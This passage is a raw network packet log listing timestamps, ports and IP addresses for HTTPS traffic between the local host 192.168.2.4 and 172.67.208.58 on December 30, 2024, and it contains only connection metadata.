Dec 30, 2024 19:10:33.144265890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.144273043 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.144285917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.145987034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.145998001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146060944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146058083 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146070957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146091938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146116018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146121979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146142960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146167994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146229029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146249056 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146286011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146291971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.146311998 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.146373034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.231498957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.231515884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.231580973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.231590033 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.231820107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.231909990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.231935978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.231966019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.231971025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232002974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232012987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232024908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232038975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232079029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232085943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232356071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232373953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232418060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232425928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232438087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232469082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232816935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232839108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.232893944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.232906103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.233408928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234327078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234343052 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234401941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234406948 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234546900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234548092 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234560013 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234581947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234608889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234613895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234646082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234683990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.234951019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.234963894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.235006094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.235012054 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.235121012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320071936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320096970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320163965 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320179939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320271015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320324898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320348978 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320385933 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320389986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320414066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320425034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320611000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320636034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320667982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320673943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320700884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320712090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320883989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320902109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.320950985 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.320956945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.321115971 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.321192980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.321206093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.321260929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.321265936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.321326017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.322932005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.322946072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323010921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323016882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323153019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323210955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323224068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323271036 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323276043 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323318958 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323585987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323601961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323651075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323662996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.323677063 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.323751926 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.378843069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.408771992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.408792973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.408828974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.408835888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.408865929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.408879995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409182072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409200907 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409262896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409269094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409307957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409333944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409338951 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409343958 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409364939 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409373045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409399986 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409410000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409420967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409589052 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409601927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409662962 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.409677029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.409991026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.410010099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.410037994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.410043955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.410072088 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.411591053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.411602974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.411643028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.411648989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.411676884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.411969900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.411989927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.412014008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.412019014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.412044048 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.456058025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.456078053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.456130981 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.456146002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.456157923 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.497389078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497406006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497555017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.497564077 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497606993 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497615099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497705936 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.497711897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497905016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497950077 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.497956038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.497970104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498018980 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.498025894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498236895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498250961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498301029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.498307943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498500109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498517990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498558998 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.498568058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.498594046 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.500178099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500190020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500236034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.500241995 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500478983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500494003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500533104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.500538111 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.500560999 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.510145903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.561698914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.561743021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.561780930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.561786890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.561820984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.561831951 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.576528072 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586136103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586154938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586210966 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586218119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586294889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586297035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586308002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586338997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586350918 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586355925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586380959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586406946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586564064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586617947 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586632013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586637020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586663961 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586682081 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586914062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586927891 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.586982012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.586990118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.587002993 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.587179899 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.587333918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.587348938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.587414980 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.587414980 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.587421894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.587502003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589087963 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589109898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589150906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589155912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589183092 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589200020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589306116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589320898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589358091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589361906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.589389086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.589400053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.601253033 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.602869987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.650245905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.650265932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.650360107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.650373936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.650423050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.674693108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.674710989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.674768925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.674773932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.674802065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.674814939 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.674897909 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.674911976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.674959898 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.674966097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675017118 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675311089 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675334930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675369978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675379038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675399065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675421953 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675580025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675612926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675641060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675646067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675673008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675683975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675894976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675915003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675949097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.675954103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.675981045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.676000118 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677615881 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677630901 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677674055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677679062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677706003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677731991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677813053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677860975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677876949 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677942038 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.677947044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.677999973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.679337978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.738715887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.738739014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.738809109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.738816023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.738966942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763222933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763237953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763288975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763294935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763318062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763329983 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763643026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763675928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763703108 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763708115 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763734102 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763751984 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763875008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763895988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763931990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763936043 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.763948917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.763977051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764138937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764158964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764177084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764209032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764214993 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764250994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764518976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764533997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764568090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764574051 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.764600992 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.764611959 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766258955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766273975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766311884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766319990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766345978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766366005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766562939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766582012 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766614914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766619921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.766638994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.766655922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.767441034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.827424049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.827449083 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.827512026 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.827521086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.827616930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.851838112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.851861000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.851905107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.851911068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.851937056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.851947069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852267027 CET	443	49746	172.67.208.58	192.168.2.4
